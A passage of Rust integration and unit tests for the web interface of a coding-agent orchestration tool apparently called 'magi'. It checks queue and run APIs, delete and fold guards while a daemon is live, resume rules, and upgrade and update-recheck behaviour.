8926 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
8927 let fx = Fixture::start().await;
8933 let id = panel(
8934 &fx,
8935 "<img src=\"shot.png\">",
8936 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
8937 );
8938
8939 let doc = fx
8941 .get(&format!("/api/questions/{id}/panel/index.html"))
8942 .await;
8943 assert_eq!(doc.status, 200, "{}", doc.body);
8944 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
8945
8946 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
8947 assert_eq!(sibling.status, 200, "{}", sibling.body);
8948 assert_eq!(sibling.header("content-type"), Some("image/png"));
8949 assert_eq!(
8950 sibling.header("content-security-policy"),
8951 Some(PANEL_CSP),
8952 "the sibling route must carry the same policy as the asset route"
8953 );
8954
8955 assert_eq!(
8958 fx.head(&format!("/api/questions/{id}/panel")).await.status,
8959 200
8960 );
8961 }
8962
8963 #[test]
8964 fn runs_revision_moves_when_deleting_an_older_run() {
8965 let temp = TempDir::new().expect("tempdir");
8966 let runs = temp.path().join("runs");
8967 std::fs::create_dir_all(&runs).expect("create runs dir");
8968
8969 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
8970
8971 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
8972 std::thread::sleep(Duration::from_millis(10));
8973 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
8974
8975 let rev_before = runs_revision(&runs);
8976 assert!(rev_before > 0);
8977
8978 let old_dir = runs.join("20260901-100000-old1");
8979 std::fs::remove_dir_all(&old_dir).expect("remove old run");
8980
8981 let rev_after = runs_revision(&runs);
8982 assert_ne!(
8983 rev_before, rev_after,
8984 "deleting an older run must change the revision so other clients see the deletion"
8985 );
8986 }
8987
8988 fn write_state(runs: &FsPath, state: &RunState) {
8993 let dir = runs.join(&state.id);
8994 std::fs::create_dir_all(&dir).expect("run dir");
8995 std::fs::write(
8996 dir.join("run.json"),
8997 serde_json::to_string_pretty(state).expect("serialize run"),
8998 )
8999 .expect("write run.json");
9000 }
9001
9002 #[test]
9007 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
9008 let temp = TempDir::new().expect("tempdir");
9009 let runs = temp.path().join("runs");
9010 std::fs::create_dir_all(&runs).expect("create runs dir");
9011 let mut state = RunState::new(
9012 PathBuf::from("/repo/magi"),
9013 "main".to_owned(),
9014 "0123456789abcdef".to_owned(),
9015 "task".to_owned(),
9016 Config::default(),
9017 );
9018 state.id = "20260902-100000-c0de".to_owned();
9019 write_state(&runs, &state);
9020
9021 let rev_idle = runs_revision(&runs);
9022 std::thread::sleep(Duration::from_millis(10));
9023 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
9024 write_state(&runs, &state);
9025 let rev_started = runs_revision(&runs);
9026 assert_ne!(
9027 rev_idle, rev_started,
9028 "a seat starting must move the revision"
9029 );
9030
9031 std::thread::sleep(Duration::from_millis(10));
9032 state.seat_finished("judge-1");
9033 write_state(&runs, &state);
9034 let rev_finished = runs_revision(&runs);
9035 assert_ne!(
9036 rev_started, rev_finished,
9037 "and clearing it again must move the revision a second time"
9038 );
9039 }
9040
9041 #[tokio::test]
9042 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
9043 let fx = Fixture::start().await;
9048 let q = fx.queue();
9049
9050 let mut t = Task::new(
9051 "Task".to_owned(),
9052 "Instruction".to_owned(),
9053 PathBuf::from("/repo"),
9054 Source::Human,
9055 );
9056 t.block(
9057 vec!["20260101-000000-dead".to_owned()],
9058 Some("waiting on Task 1".to_owned()),
9059 );
9060 t.answers.push(crate::queue::AnsweredQuestion {
9061 question: "Which backend?".to_owned(),
9062 answer: "SQLite".to_owned(),
9063 });
9064 q.put(&mut t).expect("put t");
9065
9066 let res = fx.get("/api/queue").await;
9067 assert_eq!(res.status, 200);
9068 let list = res.json();
9069 let view = list
9070 .as_array()
9071 .expect("array")
9072 .iter()
9073 .find(|v| v["id"] == t.id)
9074 .expect("task in list");
9075 assert_eq!(view["status_str"], "blocked");
9076 assert_eq!(
9077 view["blocked_by"],
9078 serde_json::json!(["20260101-000000-dead"])
9079 );
9080 assert_eq!(view["block_reason"], "waiting on Task 1");
9081 assert_eq!(view["answers"][0]["question"], "Which backend?");
9082 assert_eq!(view["answers"][0]["answer"], "SQLite");
9083
9084 let res = fx
9088 .post(&format!("/api/queue/{}/hold", t.short()), None)
9089 .await;
9090 assert_eq!(res.status, 200);
9091 let held = res.json();
9092 assert_eq!(held["status_str"], "held");
9093 assert_eq!(held["blocked_by"], serde_json::json!([]));
9094 assert!(held["block_reason"].is_null());
9095 assert_eq!(held["answers"][0]["answer"], "SQLite");
9096 }
9097
9098 #[tokio::test]
9099 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
9100 let fx = Fixture::start().await;
9101 let q = fx.queue();
9102 let mk = |title: &str| {
9103 Task::new(
9104 title.to_owned(),
9105 "Instruction".to_owned(),
9106 PathBuf::from("/repo"),
9107 Source::Human,
9108 )
9109 };
9110 let mut root = mk("root");
9111 root.hold_manual(Some("waiting".to_owned()));
9112 q.put(&mut root).unwrap();
9113 let mut mid = mk("mid");
9114 mid.block(vec![root.id.clone()], None);
9115 q.put(&mut mid).unwrap();
9116 let mut leaf = mk("leaf");
9117 leaf.block(vec![mid.id.clone()], None);
9118 q.put(&mut leaf).unwrap();
9119
9120 let list = fx.get("/api/queue").await.json();
9121 let find = |id: &str| {
9122 list.as_array()
9123 .unwrap()
9124 .iter()
9125 .find(|v| v["id"] == id)
9126 .unwrap()
9127 .clone()
9128 };
9129 let leaf_view = find(&leaf.id);
9130 assert_eq!(
9131 leaf_view["waits_on"],
9132 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
9133 );
9134 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
9135 assert_eq!(
9136 find(&mid.id)["waits_on"],
9137 serde_json::json!([format!("{} (held)", root.short())])
9138 );
9139 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
9140 }
9141
9142 #[tokio::test]
9143 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
9144 let fx = Fixture::start().await;
9145 let q = fx.queue();
9146
9147 let mut t1 = Task::new(
9149 "Task 1".to_owned(),
9150 "Instruction 1".to_owned(),
9151 PathBuf::from("/repo"),
9152 Source::Human,
9153 );
9154 let run_id = "20260901-000000-r111";
9155 t1.runs.push(run_id.to_owned());
9156 write_run(&fx.runs(), run_id, RunStatus::Merged);
9157 q.put(&mut t1).expect("put t1");
9158
9159 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
9161 assert_eq!(res.status, 204);
9162 assert!(res.body.is_empty(), "204 No Content has no body");
9163 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
9164 assert!(
9165 fx.runs().join(run_id).exists(),
9166 "run directory must not be deleted when its task is deleted"
9167 );
9168
9169 let mut t2 = Task::new(
9171 "Task 2".to_owned(),
9172 "Instruction 2".to_owned(),
9173 PathBuf::from("/repo"),
9174 Source::Human,
9175 );
9176 t2.status = TaskStatus::Running;
9177 q.put(&mut t2).expect("put t2");
9178 let mut beat = crate::daemon::Status::new();
9179 beat.current = vec![crate::daemon::Current {
9180 task: t2.id.clone(),
9181 run: "20260901-000000-r222".to_owned(),
9182 }];
9183 beat.updated_at = jiff::Timestamp::now();
9184 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9185 .expect("publish a heartbeat");
9186 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
9187 assert_eq!(res.status, 409);
9188 assert!(
9189 res.json()["error"]
9190 .as_str()
9191 .unwrap()
9192 .contains("live daemon")
9193 );
9194 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
9195
9196 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
9202 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9203 .expect("leave a stale heartbeat");
9204 let mut t3 = Task::new(
9205 "Task 3".to_owned(),
9206 "Instruction 3".to_owned(),
9207 PathBuf::from("/repo"),
9208 Source::Human,
9209 );
9210 t3.status = TaskStatus::Running;
9211 q.put(&mut t3).expect("put t3");
9212 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
9213 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
9214 assert_eq!(res.status, 204);
9215 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
9216 assert!(
9217 q.claim(&t3.id).is_ok(),
9218 "the stale lock went with it, so the id is claimable again"
9219 );
9220
9221 let res = fx.delete("/api/queue/nonexistent").await;
9223 assert_eq!(res.status, 404);
9224 }
9225
9226 #[tokio::test]
9227 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
9228 let fx = Fixture::start().await;
9229 let runs = fx.runs();
9230
9231 let run_id = "20260901-000000-fold";
9233 let mut state = RunState::new(
9234 PathBuf::from("/repo"),
9235 "main".to_owned(),
9236 "abc".to_owned(),
9237 "instruction".to_owned(),
9238 Config::default(),
9239 );
9240 state.id = run_id.to_owned();
9241 state.status = RunStatus::Merged;
9242 state.candidates.push(crate::run::Candidate {
9243 index: 0,
9244 label: 'A',
9245 agent: "a".to_owned(),
9246 branch: "b".to_owned(),
9247 worktree: PathBuf::from("/w"),
9248 summary: String::new(),
9249 stat: String::new(),
9250 files: 1,
9251 commits: 1,
9252 empty: false,
9253 failed: None,
9254 verified_noop: None,
9255 duration_ms: 0,
9256 folded: true,
9257 });
9258 let dir = runs.join(run_id);
9259 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
9260 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
9261 .expect("write artifact");
9262 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
9263 .expect("write run.json");
9264
9265 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
9267 assert_eq!(res.status, 204);
9268 assert!(res.body.is_empty(), "204 has no body");
9269 assert!(!dir.exists(), "run directory and artifacts must be deleted");
9270
9271 let run_running = "20260901-000000-rung";
9276 write_run(&runs, run_running, RunStatus::Prep);
9277 let mut beat = crate::daemon::Status::new();
9278 beat.current = vec![crate::daemon::Current {
9279 task: "20260901-000000-task".to_owned(),
9280 run: run_running.to_owned(),
9281 }];
9282 beat.updated_at = jiff::Timestamp::now();
9283 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9284 .expect("publish a heartbeat");
9285 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
9286 assert_eq!(res.status, 409);
9287 assert!(
9288 res.json()["error"]
9289 .as_str()
9290 .unwrap()
9291 .contains("live daemon"),
9292 "the refusal must say who is holding it"
9293 );
9294 assert!(
9295 runs.join(run_running).exists(),
9296 "a run in flight keeps its directory"
9297 );
9298
9299 let run_unfolded = "20260901-000000-unfd";
9301 let mut state2 = RunState::new(
9302 PathBuf::from("/repo"),
9303 "main".to_owned(),
9304 "abc".to_owned(),
9305 "instruction".to_owned(),
9306 Config::default(),
9307 );
9308 state2.id = run_unfolded.to_owned();
9309 state2.status = RunStatus::Ready;
9310 state2.candidates.push(crate::run::Candidate {
9311 index: 0,
9312 label: 'A',
9313 agent: "a".to_owned(),
9314 branch: "b".to_owned(),
9315 worktree: PathBuf::from("/w"),
9316 summary: String::new(),
9317 stat: String::new(),
9318 files: 1,
9319 commits: 1,
9320 empty: false,
9321 failed: None,
9322 verified_noop: None,
9323 duration_ms: 0,
9324 folded: false,
9325 });
9326 let dir2 = runs.join(run_unfolded);
9327 std::fs::create_dir_all(&dir2).expect("create dir2");
9328 std::fs::write(
9329 dir2.join("run.json"),
9330 serde_json::to_string(&state2).unwrap(),
9331 )
9332 .expect("write run.json");
9333
9334 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
9335 assert_eq!(res.status, 409);
9336 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
9337 assert!(dir2.exists(), "unfolded run directory is kept");
9338
9339 let res = fx.delete("/api/runs/nonexistent").await;
9341 assert_eq!(res.status, 404);
9342 }
9343
9344 #[test]
9353 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
9354 let start = APP_JS
9355 .find("function renderStats() {")
9356 .expect("renderStats");
9357 let end = start
9358 + APP_JS[start..]
9359 .find("function statsTile(")
9360 .expect("the next top-level function");
9361 let body = &APP_JS[start..end];
9362
9363 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
9364 let gate_end = gate_start
9365 + body[gate_start..]
9366 .find("}\n renderStatsQueue")
9367 .expect("the gate's own closing brace, right before the unconditional call");
9368 let gated = &body[gate_start..gate_end];
9369
9370 assert_eq!(
9371 body.matches("renderStatsQueue(").count(),
9372 1,
9373 "renderStats must call renderStatsQueue exactly once: {body}"
9374 );
9375 assert!(
9376 !gated.contains("renderStatsQueue"),
9377 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
9378 run-derived panels on an empty run history - the queue panel has to render \
9379 regardless: {gated}"
9380 );
9381 }
9382
9383 #[test]
9384 fn web_ui_delete_contract_in_front_end() {
9385 assert!(APP_JS.contains("deleteRun:"));
9387 assert!(APP_JS.contains("deleteTask:"));
9388
9389 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
9391 ..APP_JS.find("function renderRuns").unwrap()];
9392 assert!(!run_cards_slice.to_lowercase().contains("delete"));
9393
9394 assert!(APP_JS.contains("renderRunDelete"));
9396 assert!(APP_JS.contains("runDeleteReason"));
9397 assert!(APP_JS.contains("magi fold"));
9398 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
9399
9400 assert!(APP_JS.contains("cancel.focus"));
9402 assert!(APP_JS.contains("armedRunDelete"));
9403 assert!(APP_JS.contains("armedDelete"));
9404
9405 assert!(APP_JS.contains("disabled: status === \"running\""));
9407 }
9408
9409 #[test]
9429 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
9430 let build = APP_JS
9431 .find("function createRunCard")
9432 .expect("createRunCard exists");
9433 let update = APP_JS
9434 .find("function updateRunCard")
9435 .expect("updateRunCard exists");
9436 let end = APP_JS
9437 .find("function renderRuns")
9438 .expect("renderRuns exists");
9439
9440 let builder = &APP_JS[build..update];
9442 let open = builder.find("refs = {").expect("createRunCard sets refs");
9443 let literal = &builder[open + "refs = {".len()..];
9444 let close = literal.find('}').expect("the refs literal is closed");
9445 let published: HashSet<&str> = literal[..close]
9446 .split(',')
9447 .filter_map(|entry| entry.split(':').next())
9449 .map(str::trim)
9450 .filter(|name| !name.is_empty())
9451 .collect();
9452 assert!(
9453 published.len() > 5,
9454 "the refs literal did not parse into names: {published:?}"
9455 );
9456
9457 let mut used: Vec<&str> = Vec::new();
9460 let updaters = &APP_JS[update..end];
9461 for (at, _) in updaters.match_indices("r.") {
9462 let before = updaters[..at].chars().next_back();
9465 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
9466 continue;
9467 }
9468 let rest = &updaters[at + 2..];
9469 let len = rest
9470 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
9471 .unwrap_or(rest.len());
9472 if len > 0 {
9473 used.push(&rest[..len]);
9474 }
9475 }
9476 assert!(
9477 used.len() > 5,
9478 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
9479 );
9480
9481 let missing: Vec<&str> = used
9482 .iter()
9483 .copied()
9484 .filter(|name| !published.contains(name))
9485 .collect();
9486 assert!(
9487 missing.is_empty(),
9488 "a run card's updater reaches for {missing:?}, which `createRunCard` \
9489 never put in `refs` - every card will throw and the list will \
9490 render empty under a count line that says otherwise. Published: \
9491 {published:?}"
9492 );
9493 }
9494
9495 #[tokio::test]
9496 async fn folding_from_the_phone_reports_what_it_removed() {
9497 let fx = Fixture::start().await;
9498 let runs = fx.runs();
9499
9500 let id = "20260901-000000-fold";
9504 write_run(&runs, id, RunStatus::Stalled);
9505 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9506 assert_eq!(res.status, 200);
9507 assert_eq!(res.json()["removed_count"], 0);
9508 assert_eq!(res.json()["run"], id);
9509 assert!(
9510 runs.join(id).exists(),
9511 "a fold keeps the run's record; only the worktrees go"
9512 );
9513 }
9514
9515 #[tokio::test]
9516 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
9517 let fx = Fixture::start().await;
9518 let runs = fx.runs();
9519 let wt = fx.home.path().join("wt").join("magi").join("dead");
9520 let id = "20260901-000000-dead";
9521 std::fs::create_dir_all(runs.join(id)).expect("run dir");
9522 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9523 std::fs::create_dir_all(&wt).expect("worktree dir");
9524
9525 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9526 assert_eq!(res.status, 200, "{}", res.body);
9527 assert!(
9528 res.json()["removed_count"].as_u64().unwrap() > 0,
9529 "the worktree this build could not read a state for still went"
9530 );
9531 assert!(
9532 !runs.join(id).exists(),
9533 "an unreadable run has no candidate list to fold selectively, so \
9534 the whole record goes - same as `magi fold` on the CLI"
9535 );
9536 }
9537
9538 #[tokio::test]
9539 async fn deleting_an_unreadable_run_removes_it_wholesale() {
9540 let fx = Fixture::start().await;
9541 let runs = fx.runs();
9542 let wt = fx.home.path().join("wt").join("magi").join("gone");
9543 let id = "20260901-000000-gone";
9544 std::fs::create_dir_all(runs.join(id)).expect("run dir");
9545 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9546 std::fs::create_dir_all(&wt).expect("worktree dir");
9547
9548 let res = fx.delete(&format!("/api/runs/{id}")).await;
9549 assert_eq!(res.status, 204, "{}", res.body);
9550 assert!(!runs.join(id).exists(), "the broken record is gone");
9551 assert!(!wt.exists(), "its worktree is gone too");
9552 }
9553
9554 #[tokio::test]
9555 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
9556 let fx = Fixture::start().await;
9557 let runs = fx.runs();
9558 let id = "20260901-000000-live";
9559 write_run(&runs, id, RunStatus::Implementing);
9560
9561 let mut beat = crate::daemon::Status::new();
9562 beat.current = vec![crate::daemon::Current {
9563 task: "20260901-000000-task".to_owned(),
9564 run: id.to_owned(),
9565 }];
9566 beat.updated_at = jiff::Timestamp::now();
9567 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9568 .expect("publish a heartbeat");
9569
9570 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9571 assert_eq!(res.status, 409);
9572 assert!(
9573 res.json()["error"]
9574 .as_str()
9575 .unwrap()
9576 .contains("live daemon"),
9577 "folding under a running agent would pull its worktree away"
9578 );
9579 }
9580
9581 #[tokio::test]
9582 async fn fold_merged_requires_a_pr_url() {
9583 let fx = Fixture::start().await;
9584 let runs = fx.runs();
9585 let id = "20260901-000000-nourl";
9586 write_run(&runs, id, RunStatus::Blocked);
9587
9588 let res = fx
9589 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
9590 .await;
9591 assert_eq!(res.status, 400, "{}", res.body);
9592
9593 let blank = fx
9594 .post(
9595 &format!("/api/runs/{id}/fold-merged"),
9596 Some(r#"{"pr_url":" "}"#),
9597 )
9598 .await;
9599 assert_eq!(blank.status, 400, "{}", blank.body);
9600 }
9601
9602 #[tokio::test]
9603 async fn fold_merged_is_404_for_an_unknown_run() {
9604 let fx = Fixture::start().await;
9605 let res = fx
9606 .post(
9607 "/api/runs/nosuchrun/fold-merged",
9608 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9609 )
9610 .await;
9611 assert_eq!(res.status, 404, "{}", res.body);
9612 }
9613
9614 #[tokio::test]
9615 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
9616 let fx = Fixture::start().await;
9617 let runs = fx.runs();
9618 let id = "20260901-000000-livemerge";
9619 write_run(&runs, id, RunStatus::Blocked);
9620
9621 let mut beat = crate::daemon::Status::new();
9622 beat.current = vec![crate::daemon::Current {
9623 task: "20260901-000000-task".to_owned(),
9624 run: id.to_owned(),
9625 }];
9626 beat.updated_at = jiff::Timestamp::now();
9627 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9628 .expect("publish a heartbeat");
9629
9630 let res = fx
9631 .post(
9632 &format!("/api/runs/{id}/fold-merged"),
9633 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9634 )
9635 .await;
9636 assert_eq!(res.status, 409, "{}", res.body);
9637 assert!(
9638 res.json()["error"]
9639 .as_str()
9640 .unwrap()
9641 .contains("live daemon"),
9642 "correcting a run's merge underneath a running agent would race \
9643 whatever it is doing to the same `status`/`merge` fields"
9644 );
9645 }
9646
9647 #[tokio::test]
9652 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
9653 let fx = Fixture::start().await;
9654 let runs = fx.runs();
9655 let id = "20260901-000000-unconfirmed";
9656 write_run(&runs, id, RunStatus::Blocked);
9657
9658 let res = fx
9659 .post(
9660 &format!("/api/runs/{id}/fold-merged"),
9661 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9662 )
9663 .await;
9664 assert_eq!(res.status, 400, "{}", res.body);
9665 assert_eq!(
9666 read_run(&runs, id).unwrap().status,
9667 RunStatus::Blocked,
9668 "a pull request that could not be confirmed merged must leave \
9669 the run exactly where it was"
9670 );
9671 }
9672
9673 #[tokio::test]
9674 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
9675 let fx = Fixture::start().await;
9676 let runs = fx.runs();
9677
9678 for (status, word) in [
9684 (RunStatus::Merged, "merged"),
9685 (RunStatus::Ready, "ready"),
9686 (RunStatus::Failed, "failed"),
9687 ] {
9688 let id = format!("20260901-000000-{}", &word[..4]);
9689 write_run(&runs, &id, status);
9690 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
9691 assert_eq!(res.status, 409, "{word} must not be resumable");
9692 let err = res.json()["error"].as_str().unwrap().to_owned();
9693 assert!(err.contains(word), "the refusal names the status: {err}");
9694 }
9695
9696 let mid = "20260901-000000-midf";
9701 write_run(&runs, mid, RunStatus::Reviewing);
9702 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
9703 assert_eq!(res.status, 202, "an interrupted run is resumable");
9704 }
9705
9706 #[tokio::test]
9707 async fn resume_is_refused_while_the_loop_is_running() {
9708 let fx = Fixture::start().await;
9709 let runs = fx.runs();
9710 let stalled = "20260901-000000-stal";
9711 write_run(&runs, stalled, RunStatus::Stalled);
9712
9713 let mut beat = crate::daemon::Status::new();
9717 beat.current = vec![crate::daemon::Current {
9718 task: "20260901-000000-task".to_owned(),
9719 run: "20260901-000000-othr".to_owned(),
9720 }];
9721 beat.updated_at = jiff::Timestamp::now();
9722 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9723 .expect("publish a heartbeat");
9724
9725 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
9726 assert_eq!(res.status, 409);
9727 let err = res.json()["error"].as_str().unwrap().to_owned();
9728 assert!(err.contains("othr"), "it names what the loop is on: {err}");
9729 assert!(err.contains("stop it first"), "{err}");
9730 }
9731
9732 #[test]
9733 fn a_run_cannot_be_resumed_twice_at_once() {
9734 let home = TempDir::new().expect("temp home");
9735 let ui = Ui::new(
9736 Queue::at(home.path().join("queue")),
9737 Questions::at(home.path().join("questions")),
9738 Talks::at(home.path().join("talks")),
9739 home.path().join("runs"),
9740 home.path().to_path_buf(),
9741 PathBuf::from("/repo"),
9742 )
9743 .with_worktrees_root(home.path().join("wt"));
9744 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
9745 let again = ui.begin_resume("20260901-000000-once");
9746 assert!(again.is_err(), "a second tap must not start a second graph");
9747 drop(first);
9748 assert!(
9749 ui.begin_resume("20260901-000000-once").is_ok(),
9750 "and the claim is released when the attempt ends"
9751 );
9752 }
9753
9754 #[test]
9755 fn talk_thinking_tracks_only_its_held_turn_claim() {
9756 let home = TempDir::new().expect("temp home");
9757 let ui = Ui::new(
9758 Queue::at(home.path().join("queue")),
9759 Questions::at(home.path().join("questions")),
9760 Talks::at(home.path().join("talks")),
9761 home.path().join("runs"),
9762 home.path().to_path_buf(),
9763 PathBuf::from("/repo"),
9764 )
9765 .with_worktrees_root(home.path().join("wt"));
9766 let id = "20260901-000000-once";
9767
9768 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
9769 let turn = ui.begin_talk_turn(id).expect("claim turn");
9770 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
9771 assert!(
9772 !ui.is_thinking("20260901-000000-other"),
9773 "one talk's turn does not make another talk busy"
9774 );
9775 drop(turn);
9776 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
9777 }
9778
9779 #[tokio::test]
9780 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
9781 let fx = Fixture::start().await;
9782 let mut beat = crate::daemon::Status::new();
9786 beat.pid = 4321;
9787 beat.updated_at = jiff::Timestamp::now();
9788 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9789 .expect("publish a heartbeat");
9790
9791 let res = fx.post("/api/upgrade", None).await;
9792 assert_eq!(res.status, 409);
9793 let err = res.json()["error"].as_str().unwrap().to_owned();
9794 assert!(err.contains("4321"), "the refusal names the owner: {err}");
9795 assert!(err.contains("old one against the same queue"), "{err}");
9796 }
9797
9798 #[test]
9805 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
9806 assert!(!should_spawn_recheck(&crate::config::Update {
9807 mode: UpdateMode::Off,
9808 interval: None,
9809 }));
9810
9811 unsafe {
9814 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9815 }
9816 let killed = should_spawn_recheck(&crate::config::Update {
9817 mode: UpdateMode::Notify,
9818 interval: None,
9819 });
9820 unsafe {
9821 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9822 }
9823 assert!(
9824 !killed,
9825 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
9826 one-time startup check"
9827 );
9828
9829 assert!(should_spawn_recheck(&crate::config::Update {
9830 mode: UpdateMode::Notify,
9831 interval: None,
9832 }));
9833 }
9834
9835 #[test]
9841 fn recheck_poll_period_tracks_a_short_configured_interval() {
9842 let short = crate::config::Update {
9843 mode: UpdateMode::Notify,
9844 interval: Some("1m".to_owned()),
9845 };
9846 let period = recheck_poll_period(&short);
9847 assert!(
9848 period <= Duration::from_secs(30),
9849 "a one-minute interval must wake the task far sooner than the \
9850 default ceiling, or the deck would not notice within the \
9851 interval the operator configured: got {period:?}"
9852 );
9853
9854 let default = crate::config::Update {
9855 mode: UpdateMode::Notify,
9856 interval: None,
9857 };
9858 assert_eq!(
9859 recheck_poll_period(&default),
9860 UPDATE_RECHECK_POLL_MAX,
9861 "the default day-long interval should poll at the (capped) \
9862 ceiling rather than needlessly often"
9863 );
9864 }
9865
9866 #[test]
9874 fn recheck_skips_the_network_before_the_interval_elapses() {
9875 let dir = TempDir::new().expect("temp dir");
9876 let path = dir.path().join("state.json");
9877 let state = kaishin::UpdateCheckState {
9878 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
9879 last_known_latest: None,
9880 last_known_url: None,
9881 };
9882 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
9883
9884 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
9885 assert!(
9886 !update_recheck_due(&checker, None),
9887 "a check made moments ago must not be repeated before the \
9888 configured interval elapses"
9889 );
9890 }
9891
9892 #[test]
9898 fn recheck_defers_to_an_upgrade_already_in_flight() {
9899 let dir = TempDir::new().expect("temp dir");
9900 let path = dir.path().join("state.json");
9901 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
9902 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
9903
9904 assert!(
9905 !update_recheck_due(&checker, Some(&progress)),
9906 "a recheck must not run while an upgrade this deck started is \
9907 still moving"
9908 );
9909 }
9910
9911 #[tokio::test]
9912 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
9913 unsafe {
9925 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9926 }
9927 let fx = Fixture::start().await;
9928 let res = fx.post("/api/upgrade", None).await;
9929 unsafe {
9930 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9931 }
9932 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
9933 let body = res.json();
9934 assert!(body["to"].is_null(), "there was no release to move to");
9935 assert!(body["parked"].is_null(), "and nothing was parked");
9936 assert!(
9937 body["detail"]
9938 .as_str()
9939 .unwrap()
9940 .contains("disabled by MAGI_NO_AUTOUPDATE"),
9941 "{body:?}"
9942 );
9943 }
9944
9945 #[tokio::test]
9946 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
9947 let repo = TempDir::new().expect("repo dir");
9963 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
9964 .expect("write magi.toml");
9965 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
9966
9967 let res = fx.post("/api/upgrade", None).await;
9973 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
9974 let body = res.json();
9975 assert!(body["to"].is_null(), "there was no release to move to");
9976 assert!(body["parked"].is_null(), "and nothing was parked");
9977 assert!(
9978 body["detail"]
9979 .as_str()
9980 .unwrap()
9981 .contains("nothing restarted"),
9982 "{body:?}"
9983 );
9984 }
9985
9986 #[tokio::test]
9987 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
9988 let repo = TempDir::new().expect("repo dir");
9993 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
9994 .expect("write magi.toml");
